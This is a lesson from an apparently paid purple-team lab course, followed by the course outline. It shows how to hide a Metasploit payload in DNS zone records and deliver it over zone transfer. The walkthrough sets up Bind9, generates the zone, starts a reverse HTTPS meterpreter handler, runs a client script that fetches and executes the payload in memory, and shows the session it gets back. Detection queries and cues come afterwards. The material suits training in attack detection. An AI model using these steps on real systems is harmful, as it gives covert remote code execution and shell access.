DNS/AXFR Payload Delivery

How about using AXFR (DNS Zone Transfer) for delivering and running an MSF payload just in memory?

It is possible for malware to use DNS AXFR (zone transfer) as a method for payload delivery, but it is not a common technique. DNS zone transfers allow a DNS server to transfer a complete copy of a zone to another DNS server, which can be useful for redundancy and load balancing purposes. However, if the zone contains specially crafted DNS records that contain executable code, an attacker could potentially use a DNS server to distribute malware to a targeted system.

In practice, there are several challenges to using DNS AXFR for malware delivery. Firstly, the attacker needs to control a DNS server that is authoritative for the domain being targeted. Secondly, the attacker needs to be able to insert malicious DNS records into the zone file. Thirdly, the payload delivered through the DNS AXFR transfer needs to be encoded in a manner that will not be detected or blocked by security controls, such as firewalls or intrusion detection systems.

Because of these challenges, most malware authors prefer to use other methods for payload delivery, such as email attachments, malicious URLs, or exploit kits. These techniques are often more reliable and easier to execute than DNS AXFR-based attacks. However, it is still important to monitor DNS traffic for signs of malicious activity, as some malware may use DNS for command and control or other communication purposes.

Specification

  • Lateral Movement

  • OSquery

  • ElastAlert

  • Powershell


The exercise flow

1. Get access to your VPS_X, install Bind9 project, and configure it accordingly to your values:

# apt-get install bind9
# vim /etc/bind/named.conf.options
options {
        directory "/var/cache/bind";
        recursion no;
        allow-transfer { $PUBLIC_IP_ADDRESS_OF_PURPLELABS_NETWORK;}; # take a look at the next point #
        dnssec-validation auto;
        // listen-on-v6 { any; };
};

# vim /etc/bind/named.conf.local
zone "exfil$X.emerge.pl" {
    type master;
    file "/etc/bind/zones/exfil$X.emerge.pl.conf";
};

# mkdir /etc/bind/zones


2. To find outgoing IP addresses of your machine/network you can always run the following commands:

# curl ifconfig.me
# curl ipinfo.io/ip
# curl api.ipify.org
# curl checkip.dyndns.org


3. Grab msf-payload-in-axfr project from Github, generate DNS zone with malicious MSF content and start named daemon:

# git clone https://github.com/cr0nx/msf-payload-in-axfr
# cd msf-payload-in-axfr
# pip3 install -r requirements.txt
# ./src/zone-gen.py -d exfil$X.emerge.pl -a $YOUR_VPS_IP -s exfil$X.emerge.pl -n exfil$X.emerge.pl -o ./out.conf -l $YOUR_VPS_IP -p 4445
# cp out.conf /etc/bind/zones/exfil$X.emerge.pl.conf

# /etc/init.d/named start


4a. In case of port binding error, turn off systemd-resolved process:

# systemctl stop systemd-resolved
# systemctl disable systemd-resolved


4b. In case of '/usr/bin/env: ‘python3.6’: No such file or directory' edit the first line of zone-gen.py:

# head -n1 src/zone-gen.py
#!/usr/bin/env python3


5. Switch to your KALI_X and check out if your DNS zone transfer works:

# dig axfr @ns-exfil$X.emerge.pl exfil$X.emerge.pl

; <<>> DiG 9.11.16-2-Debian <<>> axfr @ns-exfil11.emerge.pl exfil11.emerge.pl
; (1 server found)
;; global options: +cmd
exfil11.emerge.pl.  604800  IN  SOA exfil11.emerge.pl. admin.exfil11.emerge.pl. 2 60 60 60 4800
exfil11.emerge.pl.  604800  IN  NS  exfil11.emerge.pl.
exfil11.emerge.pl.  604800  IN  A   185.219.132.157
exfil11.emerge.pl.  604800  IN  AAAA    ::1
27.14e4c584974536a6c594c54677a593268494d6c6378566c56544e47566f5932.exfil11.emerge.pl. 604800 IN A 127.0.0.1
25.2596a68564e5870586245356b627a4e3064325a61643170595455316a56554a.exfil11.emerge.pl. 604800 IN A 127.0.0.1
14.3239775a57356c6369677161484d70436d38755957526b614756685a4756796.exfil11.emerge.pl. 604800 IN A 127.0.0.1
9.34c6c4253543152505130394d58314e54544859794d796b4b43584e6a4c6d4e.exfil11.emerge.pl. 604800 IN A 127.0.0.1
12.354643676c6f637935686348426c626d516f645777755346525555464e49595.exfil11.emerge.pl. 604800 IN A 127.0.0.1
...


6. In case of Transfer failed error, restart named daemon @ VPS_X and try to send AXFR query once again:

# /etc/init.d/named restart


7. Assuming you are ready, let's configure the Metasploit listener at your VPS side:

# msfconsole
> use exploit/multi/handler 
> msf5 exploit(multi/handler) > set lport 4445
lport => 4445
> msf5 exploit(multi/handler) > set lhost $YOUR_VPS_IP
lhost => 185.219.132.157
> msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_https 
payload => python/meterpreter/reverse_https
> msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://185.219.132.157:4445


8. Get back to KALI_X and run the client/victim part of msf-payload-in-axfr project:

# git clone https://github.com/cr0nx/msf-payload-in-axfr
# cd msf-payload-in-axfr
# pip3 install -r requirements.txt
# src/axfr-get-payload.py -o linux -d exfil$X.emerge.pl -s $YOUR_VPS_IP


9. You should get a fresh metepreter connection back at the VPS side:

meterpreter > sysinfo 
Computer        : kali11
OS              : Linux 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17)
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux


10. Run below Splunk queries and analyze carefully the results:

index="zeek" | search qtype_name=AXFR id.orig_h=$KALI_X_IP | chart count by query


Comments:

  • AXFR is easily detectable from IDS / IPS rules -> still it's a perfect way to validate if it really works or not :> !

  • AXFR should be visible from your DNS passive records, ex. dns.log @ BRO IDS -> watch for it!

  • 63 bytes long, random 0.6157317762334a3049484e35637770326154317a65584d75646d567963326c7 subdomains in DNS response -> ^^ suspicious?

  • 127.0.0.1 as A record - again can you catch it?

  • In terms of generated DNS traffic -> small request -> big response, ex: 2713 bytes -> anomaly?

  • External, not-from-corpo-whitelisted, potentially malicious DNS server in use


Links:

  • https://github.com/cr0nx/msf-payload-in-axfr


Linux Attack and Live Forensics At Scale MATERIALS-ONLY

Buy nowLearn more
  • Course Mindmap - Linux Attack and Forensics Inspection at scale-v3.png1
  • PurpleLABS Cyber Range Network Architecture

0x01. PurpleLabs Hunting Components Dashboard

  • PurpleLabs Dashboard
  • PurpleLabs Components - Helicopter View

0x02. PurpleLabs User Setup Overview

  • Welcome to PurpleLABS!
  • Open Source Community
  • Network Addressing
  • Your Virtual Machines
  • Data sources and SIEM/DFIR components
  • Troubleshooting
  • Rules and policies
  • Threat Detection and Hunting with PurpleLabs #1
  • Threat Detection and Hunting with PurpleLabs #2

0x03. PurpleLabs Default Targets

  • Reverse Shell / Backdoor payloads
  • File transfers
  • Apache Tomcat
  • Apache HTTP CVE-2021-41773
  • NFS no_root_squash
  • Dirty Pipe CVE-2022-0847
  • pkexec CVE-2021-4034
  • CVE-2022-2588
  • CVE-2022-22963: Spring Cloud Function RCE
  • Solr Log4j
  • Samba / CIFS
  • Weblogic SSRF
  • SSH Brute force
  • Docker escape
  • Exiftool CVE-2021-22204
  • Remote Heap Exploitation
  • Attack emulation: Red Canary Atomics against your VMs

0x04. Blue/DFIR Components: SIEM

  • SIEM/HELK introduction
  • SIEM/HELK Data sources
  • SIEM/Splunk introduction
  • SIEM/Splunk Data sources
  • SIEM/Graylog intro
  • SIEM/Graylog Data sources
  • SIEM/Wazuh Data Sources

0x05. Blue/DFIR Components: HOST

  • Host/Syslog
  • Host/Auditd2
  • Host/Falco Runtime Security
  • Host/Tracee Syscall Tracing
  • Host/Sysdig Syscall tracing
  • Host/Sysmon4Linux
  • Host/Velociraptor
  • Host/OSQuery
  • Host/Sandfly
  • Host/Wazuh
  • Host/CatScale
  • Host/UAC
  • Host/varc
  • Host/rkhunter
  • Host/Yara Scanning
  • Host/LKRG
  • Host/SELinux
  • Host/Clamav

0x06. Blue/DFIR Components: NETWORK

  • Network/Zeek
  • Network/Suricata
  • Network/Arkime Full Packet Capture
  • Network/Forward Proxy Squid SSL Decryption
  • Network/WAF Modsecurity

0x07. Introduction to the course

  • About the course
  • Why Linux as a target?
  • Current Linux threat landscape (2022/2023)
  • Linux Appliances Exploitation Cases
  • Purple teaming approach
  • Threat Hunting vs Incident Response
  • Linux MITRE ATT&CK
  • Linux EDR/Security Products1
  • DFIR basics
  • DFIR Preparation
  • Basic TCP/IP stack
  • Basic Linux Investigation tools
  • General rootkits behavior
  • Recommended books1

0x08. Establishing baseline vs Attack Vectors

  • Process names
  • Process arguments
  • Parent-child process relationship
  • /proc/ exploration
  • sysctl
  • Linker / LD_PRELOAD
  • Linux Kernel Modules
  • LKM Off
  • DNS Settings
  • Network profiling
  • Open Ports
  • iptables
  • At / cron / systemd timers
  • Users
  • Shell Configuration
  • Initialization scripts
  • Special File Attributes
  • File Hashing / checksums
  • OS / application logging behavior
  • SSH keys
  • Linux namespaces

0x09. Rule-based Linux Log Analysis

  • Sigma Rules Hands-on Introduction
  • Protections Artifacts from Elastic
  • Detection Rules from Elastic

0x0a. Linux Memory forensics

  • Linux Report Sections
  • Building Volatility 2 Linux Profiles
  • Building Volatility 3 ISF JSON
  • Memory Acquisition
  • Forensics with Volatility2
  • Forensics with Volatility 3
  • Fileless plugin

0x0b. Linux Shells / C2 Implants

  • Sliver C2 Setup
  • Sliver Transports and Pivoting
  • Sliver in details
  • Meterpreter Setup
  • Sliver to Meterpreter Sideload
  • Meterpreter shell_to_meterpreter
  • TLS/sniCAT
  • Merlin Setup
  • Merlin Transports
  • Merlin libprocesshider
  • DNS/AXFR Payload Delivery
  • DNS/Weasel
  • DNS/dnscat2
  • ICMP-based C2 and Exfiltration
  • Port knocking

0x0c. Tunnels / pivots / redirectors

  • SSH Socks Proxy
  • SSH Tunneling
  • Reverse SSH
  • Shootback Protocol Tunneling
  • SSHimpanzee
  • socat
  • Chisel
  • ngrok

0x0d. Incident response

  • IRIS Introduction
  • IR Playbooks2

0x0e. Linux ATTACK/Detection Analysis

  • Evaluation of Linux Rootkits and Detection INTRO SLIDES - Practical Linux Rootkits for Red and Blue .pdf
  • eBPF SLIDES - Practical Linux Rootkits for Red and Blue .pdf
  • [US] Rootkits: Shared Library Injection
  • [US] Rootkits: Oh my Father!
  • [US] Rootkits: Socket Command Injection
  • [US] ELF injection with ptrace()
  • [US] ELF injection without ptrace()
  • [US] Proxy execution with DDexec
  • [US] In-memory execution with memrun
  • [US] memfd_vs_no_exec
  • [US] Fileless Scripting Execution
  • [US] Rootkits: Dynamic Linker Preloading
  • [US] Rootkits: Zombie Ant Farm Pypreloader #1
  • [US] MSF Shellcode from bash
  • [US] Rootkits: sshd injection
  • [US] Rootkits: sshd dummy cipher suite
  • [US] PAM-based Rootkits #1
  • [US] PAM-based Rootkits #2
  • [US] PAM-based Rootkits #3
  • [US] Yum/RPM Persistence
  • [US] Rootkits: Apache mod_authg
  • [US] Rootkits: HTTPD mod_backdoor
  • [US] Webshells: SOCKS from JSP
  • [US] Webshells: meterphp
  • [US] Webshells slopshell
  • [KS] Rootkits: Usermode Helper on ICMP
  • [KS] Rootkits: In-Memory LKM Loading
  • [KS] Rootkits: Reptile Analysis
  • [KS] Rootkits: Suterusu Analysis
  • [KS] Rootkits: Reveng_rtkit Analysis
  • [KS] Rootkits: iptables evil bit
  • [KS] Rootkits: systemtap creds() upgrade
  • [KS] Rootkits: Netfilter hooking #1
  • [KS] Rootkits: xt_conntrack.ko Infection
  • [KS] Rootkits: Ftrace Hooking #1
  • [KS] Rootkits: bad-bpf trip
  • [KS] Rootkits: XDP-UDP-Backdoor
  • [KS] Rootkits: eBPF hooking / TripleCross
  • [KS] Rootkits: eBPF SSL/TLS text capturing
  • [KS] Rootkits: eBPF Raw Tracepoint Interception
  • [KS] Rootkits: eBPF PAM creds stealing
  • [KS] Rootkits: eBPF KoviD Analysis
  • [KS] Rootkits: eBPF bpfdoor
  • [KS] Rootkits: ebpfkit Analysis
  • [KS] Randomized Faulter [RETIRED]

0x0f. Changelog

  • Changelog

0x10. Active Security Research

  • Active Research
  • Rootkits: Syscall hooking
  • Linux Incident Response
  • In-memory Execution
  • Evasion / Bypassing techniques
  • Exploitation
  • Memory Forensics
  • Linux Internals